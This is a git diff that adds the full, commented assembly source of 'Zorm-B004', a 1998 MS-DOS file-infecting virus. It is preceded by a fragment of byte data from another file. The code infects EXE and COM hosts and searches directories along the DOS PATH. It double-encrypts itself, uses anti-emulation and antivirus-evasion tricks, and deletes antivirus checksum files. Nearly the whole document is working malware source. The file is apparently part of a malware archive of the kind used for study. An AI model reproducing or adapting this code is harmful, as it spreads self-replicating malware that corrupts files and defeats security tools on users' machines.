01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h +db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h +db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h +db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h +db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h +db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h +db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h +db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h +db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh diff --git a/MSDOS/Virus.MSDOS.Unknown.zorm.asm b/MSDOS/Virus.MSDOS.Unknown.zorm.asm new file mode 100644 index 00000000..293037a5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zorm.asm @@ -0,0 +1,872 @@ + +; +; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛÛÛ\ ÛÛÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ \ ÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ +; ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ +; +;(C)By Dr L. from Lamer Corporation March/July 1998 +; +;Description: +; - Name:..........Zorm-B004 +; - Mode:..........Direct infector no TSR +; - Target:..........Exe/Com of Msdos (even com of dos7+) +; - Status:..........Not detected by Tbav806,F-prot301,228 +; dr.Web,Avp30,nod-ice,findvirus786 +; (2nd+ generations) +; - Description: +; This virus infects 2 exe+2 com files when executed. +; Can change of directory by using both dot-dot method +; and the path variable of dos environnment. +; It doesnt contain nasty routines. +; Its twice encrypted and use several anti-emulation +; routines.It doesnt infect command.com and win.com +; of win95. +; It erases most checksums files made by anti-virus +; in the directories where it have found targets to +; infect. +; Anti-lamer routine included :) +; +; - Disclaimer: +; This virus was written for research and educationnal +; purposes. +; Its the 4th version of this serie. +; I have fixed some bugs. +; But one problem still remains: +; This virus can damaged win.com/command.com of +; win31 when executed or maybe all can be fine +; i cant study this problem cause i dont have +; win31! +; +; +; Compile :tasm/m2 ,tlink/t +; + + + +.model tiny ;memory model +.code ;size <65536 + +org 100h ;its a com file + + +;-------------------------Beginning---of----loader---------------------- +start1: +db 0e9h,1,0 ;jmp 001 byte forward +db 'V' ;infection mark + +push ds ;save dx for later + +push cs ;set ds=cs +pop ds ; + +mov word ptr [_ds],ds ;save original ds for + ;later + +mov byte ptr [com_virus],0 ;for the first time + ;you have to do that + ;(read below) + +mov bp,0 ;set bp the delta offset + ;to zero.No shift to begin + + +jmp over_there + +;---------------------------End-----of------loader---------------------- + + + + +;----------------------------Beginning--of--virus----------------------- +start: +xor dx,dx ;set dx=0 for stability +mov cx,end_2nd-begin_2nd ;cx=nber of bytes to decrypt +xor ax,ax +int 15h +cmp ah,86h ;thanx to yesna to show me this +jz itsok ;trick ;) +mov ah,4ch +int 21h +itsok: + + +mov ah,3dh ;anti-emulation trick. function 3dh +int 21h ;int 21h= open file function.ds:dx +;mov al,02h ;have to point to file name. + ;but ds:dx points tojunk so dos returns + ;al=02h.We use this value to decrypt + +db 04h ;=add al,10h + value db 10h ; + + +db 0bbh ;mov bx,patch +patch: ;patch=addr of begin_2nd. + dw 0 ;patch will be set later. + +;settings for decrypt bytes between begin_2nd and end_second is over. + + + +;-------------------------------------------------------- +;crypt/decrypt "routine" +; +;remark: _ret will be changed into "ret" to transform this part +;in a real asm routine. + + +crypt: +turn_again: +xor byte ptr cs:[bx],al +inc bx +loop turn_again +_ret: ; + ret ;to be replaced + +;-------------------------------------------------------- + + +begin_2nd: + db 2eh,0c6h,06h ;=mov byte ptr cs:[ret_addr],c3h +ret_addr: ; + dw 0 ;(ret_addr=address where to put 'ret'. + db 0c3h ;c3h=opcode for "ret") + + + db 0bbh ;=mov bx,0000h + patch2: ; + dw 0 ;(patch2=addr of beginning of begin_main) + + db 0b0h ;=mov al,2 + _al: ; + db 2 ; + ;(_al=xor key.Not fixed value during + ;infection scheme.see below) + + mov cx,end_main-begin_main ;setting to decrypt bytes between + ;label begin_main and end_main is + ;complete + + call crypt ;decrypt now! + end_2nd: + + begin_main: + mov ax,ss ;if cs=ss i'm a com + mov cx,cs ; + cmp ax,cx ;if not,i'm exe! + jz im_com ; + +im_exe: + cli ; + mov ax,ss ;reset ss=cs + dec ax ;at the start ss=cs+1 to avoid + mov ss,ax ;"k" flag of tbav.Maybe its a + sti ;lame way to do that but dont know + ;how to use an other way. + + call compute_delta + + push ds ;save ds for later + + push cs ;set ds=cs + pop ds ; + + mov byte ptr [com_virus+bp],0 ;i'm not a com (save this info + ;for later) + jmp next_exe ;whats follow for a exe file host? + +im_com: + +push ds ;save it for later + + + +compute_delta_offset: +call compute_delta +mov byte ptr [com_virus+bp],1 ;yep i'm a com file + +next_exe: + +pop ax ;set ax=original ds +mov word ptr [_ds+bp],ax ;set _ds=original ds + ;you need it for pass + ;control to host. + +over_there: ;remember me? + ;for the first execution + ;no need to decrypt + + +push es ;save es + +push cs ;set es=cs +pop es ; + +cmp byte ptr [com_virus+bp],1 ;i'm a com? + +jnz follow_me ;nope + +lea si,store_bytes+bp ;yep i'm +mov di,100h ;ready to transfer byte from + ;location "store_bytes" to + ;beginning of (com) host. + ;(remember the code of *.com + ;begin to cs:100h in memory) + +jmp transfer + +follow_me: +;cld +lea si,store+bp ;transfer from label "store" +lea di,old+bp ;to label "old" +movsw ;(set the correct values, segment: +movsw ;offset for the return to host.) + +transfer: +movsw ;you came from "mov di,100h"? ok +movsw ;restore (in memory only) the 4 first + ;originals bytes of host. + + ;you came from "follow me"? ok restore + ;originals cs:ip and ss:sp found in + ;host (exe) header + +pop es ;beware im back! + +lea dx,new_dta+bp ;dont modify dta! +call set_dta ;change it! + +mov byte ptr [flag_com+bp],'E' ;at first we want to infect Exe + + +push es ;see you later! + +create_new_int24h_handler: +mov ax,3524h ; +int 21h ;save original handler +mov word ptr [bp+old_int24h],bx ;of int 24h for restore +mov word ptr [bp+old_int24h+2],es ;it later. + +mov ah,25h ;set a new handler for +lea dx,bp+int_24h ;int 24h. +int 21h ;so dos dont pop up + ;a infamous error message if virus + ;try to infect write protected + ;disk. + +pop es ;its me again babe! + +count: +mov byte ptr [count_infect+bp],0 ;reset the counter to 0 + ;self explanory + +get_dir: + + mov ah,47h ; + lea si,current_dir+bp ;save the current directory + xor dl,dl ;for later when virus pass + int 21h ;control to host and the return to + ;dos.the size of buffer is 64 bytes. +get_disk: + mov ah,19H ;from a:or b:or...virus is running? + int 21h ; + mov byte ptr [disk+bp],al ; + cmp al,02H ;virus infect c: not other drive. + ;in practice . + jz search_begin_path ;but if you are running the virus + mov dl,02h ;from an drive ,not c:,it infects + mov ah,0eh ;drive c:. + int 21h ; +;------------------------------------------------------------- +;this part search the adress of first byte of the name of the +;first directory include in dos path +;remarks: +; es is destroyed by the routine +; es:di points to the address +; we are searching + +search_begin_path: + +mov ax,es:002ch ;es:002ch=address of segment where +mov es,ax ;to found in memory the dos path. +xor di,di ; +mov si,di + +jmp suite +yet: + inc si + mov di,si +suite: + mov ax,'AP' ; + scasw ; + jnz yet ; + mov ax,'HT' ;search the string 'PATH=' + scasw ;in memory + jnz yet ; + mov al,'=' ; + scasb ; + jnz yet ; + + +;--------------------------------------------------------------------------- + + + + + +;------------------------------------------------------------------ +;main part of virus routine to search for files +;to infect. + +pathdir: ; + call search ;go to search in current dir +again1: ; + jc parent ;no file found go to "parent" + call infect ;one file found infect it! + + cmp byte ptr [count_infect+bp],2 ; + jz end_infect ; + call search_again ; + jmp again1 ; +parent: + call up_dir ; + jnc pathdir ; +change_to_c: + call change_path_dir ; + jnz pathdir ; + jmp end_infect ; +;------------------------------------------------------------------ + +infect: + mov ax,3d02h + lea dx,new_dta+1eh+bp + int 21h + +read_header: + + xchg ax,bx + mov ah,3fh + mov cx,1ch + lea dx,exe_header+bp + int 21h +test1: + cmp word ptr [exe_header+bp],'ZM';is it really an exe? + je test3 +test2: + cmp word ptr [exe_header+bp],'MZ';idem + jne its_a_com +test3: + cmp word ptr [exe_header+bp+12h],'VI';infected? + je terminer ;yes,bye bye + +test3b: + cmp word ptr [exe_header+bp+2],00c6h + jne test4 + cmp word ptr [exe_header+bp+4],00b7h + je terminer +test4: + cmp word ptr [exe_header+bp+26],0 ;overlay=0? + jne terminer ;not,bye bye +test5: + cmp word ptr [exe_header+bp+24],40h ;windows exe? + je terminer ;yes ,adios :( + + mov byte ptr [com_target+bp],0 + jmp get_attributes +its_a_com: + +test_com: + cmp byte ptr [exe_header+bp+3],'V' + jz terminer +test_win: + cmp word ptr [exe_header+4+bp],0e1fh + jnz not_win_com + cmp word ptr [exe_header+6+bp],0e807h + jz terminer + + not_win_com: + jmp suit + end_infect: + jmp end_infect2 + suit: + push di + push es + push cs + pop es + mov byte ptr [com_target+bp],1 + + lea si,exe_header+bp + lea di,store_bytes+bp + movsw + movsw + pop es + pop di + +get_attributes: + mov ax,4300h + lea dx,new_dta+1eh+bp + int 21h + mov word ptr [attribute+bp],cx +set_attributes: + lea dx,new_dta+1eh+bp + call set_attrib +kill_crc_files: + + +;----------------------------------------------- +;delete crc files + + lea dx,killfile1+bp + call set_attrib + call kill_file + jmp next + terminer: + jmp close_file + next: + lea dx,killfile2+bp + call set_attrib + call kill_file + + lea dx,killfile3+bp + call set_attrib + call kill_file +;------------------------------------------------ + + +get_time_date: + mov ax,5700h + int 21h + push cx + push dx +cmp byte ptr [com_target+bp],1 +jz go_end_of_file +store_info_header: + mov ax,word ptr [exe_header+bp+0eh] + mov word ptr [store_ss+bp],ax + mov ax,word ptr [exe_header+bp+10h] + mov word ptr [store_sp+bp],ax + + mov ax,word ptr [exe_header+bp+14h] + mov word ptr [store_ip+bp],ax + + mov ax,word ptr [exe_header+bp+16h] + mov word ptr [store_cs+bp],ax +go_end_of_file: + call go_end + cmp byte ptr [com_target+bp],1 + jnz next_exe_infect +sub ax,7 +xchg ax,dx +mov cx,0 +mov ax,4200h +int 21h + + +mov ah,03fh +mov cx,07h +lea dx,queue+(end_virus-start)+bp +int 21h + + +add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7 +call go_end +mov cx,ax +sub ax,3 +mov word ptr [jmp_bytes+bp+1],ax + + add cx,100h + jmp change_patch + + next_exe_infect: + + push ax dx + +compute_new_csip: + push ax + mov ax,word ptr [exe_header+bp+8] + mov cl,4 + shl ax,cl + mov cx,ax + pop ax + sub ax,cx + sbb dx,0 + mov cl,0ch + shl dx,cl + mov cl,4 + push ax + shr ax,cl + add dx,ax + shl ax,cl + pop cx + sub cx,ax +change_header: + mov word ptr [exe_header+bp+14h],cx + mov word ptr [exe_header+bp+16h],dx + inc dx + mov word ptr [exe_header+bp+0eh],dx + mov word ptr [exe_header+bp+10h],0FF0h + mov word ptr [exe_header+bp+0ah],00FFh + mov word ptr [exe_header+bp+12h],'VI' +change_patch: + push cx + add cx,begin_main-start + mov word ptr [patch2+bp],cx + pop cx + push cx + add cx,_ret-start + mov word ptr [ret_addr+bp],cx + pop cx + + add cx,begin_2nd-start + mov word ptr [patch+bp],cx + cmp byte ptr [com_target+bp],1 + jz write_virus + pop dx ax +compute_size: + add ax,end_virus-start + adc dx,0 + mov cx,512 + div cx + cmp dx,0 + je enough + inc ax + enough: + mov word ptr [exe_header+bp+04],ax + mov word ptr [exe_header+bp+02],dx + write_virus: + encipher: + call encrypt + ;-------------------------------- + ;routine to avoid tbav "U" flag + ;"U"=undocumented dos interrupt + ;in fact tbav sets this flag + ;if it finds "cdh,xyh" string + ;where xy isnt a ordinary value + ;for an interrupt. + + lea si,queue+bp+(begin_2nd-start) + mov cx,end_virus-begin_2nd + test_int: + + cmp byte ptr [si],0cdh + je encipher + inc si + loop test_int + ;------------------------------- + + ;------------------------------- + ;90h=nop replace 'ret' by 'nop' + ;for the first execution of crypt + ;routine by the target exe + ;in the buffer before write it. + mov byte ptr [bp+queue+(_ret-start)],90h + ;------------------------------- + + ;------------------------------- + ;write the virus to the target file + mov ah,40h + mov cx,(end_virus-start)+7 + lea dx,bp+queue + int 21h + ;------------------------------- + + ;------------------------------- + ;set the file pointer of target to + ;the beginning. +go_beginning: + mov ax,4200h + xor cx,cx + cwd + int 21h + ;------------------------------- + +copy_new_header: + cmp byte ptr [com_target+bp],1 + jnz copy_exe + lea dx,jmp_bytes+bp + mov cx,4 +jmp go_copy +copy_exe: + mov cx,1ah + lea dx,exe_header+bp +go_copy: + mov ah,40h + int 21h +inc_counter: + inc byte ptr [count_infect+bp] +restore_file_attribute: + mov cx,attribute+bp + lea dx,1eh+bp+new_dta + mov ax,4301h + int 21h +restore_date_time: + mov ax,5701h + pop dx + pop cx + int 21h + close_file: + mov ah,3eh + int 21h + ret + + end_infect2: + + +restore_disk: + mov dl,byte ptr [disk+bp] + mov ah,0Eh + int 21h + +restore_directory: + mov ah,3bh + mov byte ptr [slash+bp],'\' + lea dx,[current_dir-1]+bp + int 21h +cmp byte ptr [flag_com+bp],'C' +jz exit + +mov byte ptr [flag_com+bp],'C' ;set this flag to avoid +jmp count + +exit: + +restore_initial_ds_value: + + mov ax,word ptr [_ds+bp] + push ax + pop ds + +restore_initial_dta: + mov dx,80h + call set_dta +restore_initial_24h_interrupt: + + push ds + mov ax,2524h + lds dx,bp+old_int24h + int 21h + pop ds + +restore_initial_es: + push ds + pop es + +cmp byte ptr [com_virus+bp],1 +jnz finish_exe + +return_com_host: + + mov ax,100h + push ax + ret +finish_exe: + mov ax,es + add ax,10h + +set_cs_of_host_to_run_it: + add word ptr cs:[old_cs+bp],ax +set_stack_of_host: + cli + add ax,word ptr cs:[bp+old_ss] + mov ss,ax + mov sp,word ptr cs:[bp+old_sp] + sti +go_to_host_code: + db 0eah ; :=jmp xxxx:yyyy +old: + old_ip dw 0 ; yyyy + old_cs dw 0 ; xxxx + old_sp dw 0 + old_ss dw 0 +store: + store_ip dw 0 + store_cs dw 0fff0h + store_sp dw 0 + store_ss dw 0fff0h + +;----------------------------------- +;search in current directory. + +search: + mov ah,4eh + cmp byte ptr [flag_com+bp],'C' + jnz its_exe + lea dx,com_file+bp + jmp its_com + its_exe: + lea dx,file_mask+bp + its_com: + mov cx,7 + int 21h + ret +search_again: + mov ah,4fh + int 21h + ret +;----------------------------------- + + + + + +;----------------------------------- +;change directory to parent dir. + +up_dir: + mov ah,3bh + lea dx,dot_dot+bp + int 21h + ret +;----------------------------------- + + + + + +;----------------------------------- +;find the next dir in dos path +;and set current dir=dir found. + +change_path_dir: + + lea si,new_dir+bp + notyet: + cmp byte ptr es:[di],';' + jz _end + cmp byte ptr es:[di],0 + jz _end2 + mov ah,byte ptr es:[di] + mov byte ptr [si],ah + inc di + inc si + jmp notyet + _end: + mov byte ptr [si],0 + inc di + mov ah,3bh + lea dx,new_dir+bp + int 21h + ret + _end2: + xor ax,ax + ret +;------------------------------------------ + + + encrypt: + push ax + push bx + +change_xor_value: + mov al,byte ptr [_al+bp] + inc al + cmp al,0 + jne more + inc al + more: + mov byte ptr [_al+bp],al + + mov ah,byte ptr [value+bp] + + inc ah + cmp ah,0 + jne again + inc ah + again: + mov byte ptr [value+bp],ah + + + copy_virus_to_queue_buffer: + ;cld + push di + push es + push cs + pop es + lea si,start+bp + lea di,queue+bp + mov cx,end_virus-start + rep movsb + pop es + pop di +crypt_main_part_of_virus_in_buffer: + + mov cx,end_main-begin_main + lea bx,queue+(begin_main-start)+bp + call crypt + xchg al,ah + + inc al + inc al +crypt_2nd_part_of_virus_in_buffer: + + mov cx,end_2nd-begin_2nd + lea bx,queue+(begin_2nd-start)+bp + call crypt + + pop bx + pop ax + ret +set_attrib: + mov ax,4301h + xor cx,cx + int 21h + ret +kill_file: + mov ah,41h + int 21h + ret +int_24h: + mov al,3 + iret +set_dta: + mov ah,1ah + int 21h + ret +compute_delta: + call delta + delta: + pop bp + sub bp,offset delta + ret + go_end: + mov ax,4202h + xor cx,cx + cwd + int 21h + ret + + signature db '(c)Zorm-b004 by Dr.L March/July98' + jmp_bytes db 0e9h,0,0,'V' + store_bytes db 90h,90h,0cdh,20h + killfile1 db 'anti-vir.dat',0 + killfile2 db 'chklist.ms' ,0 + killfile3 db 'chklist.cps' ,0 + dot_dot db '..',0 + file_mask db 'goat*.exe',0 ;anti-lamer routine + com_file db 'goat*.com',0 + +end_main: + + +end_virus: + com_target db ? + com_virus db ? + flag_com db ? + disk db ? + attribute dw ? + old_int24h dd ? + _ds dw ? + count_infect db ? + slash db ? + current_dir db 64 dup (?) + exe_header db 1ch dup (?) + new_dta db 43 dup (?) + new_dir db 64 dup (?) + queue: +end start1 \ No newline at end of file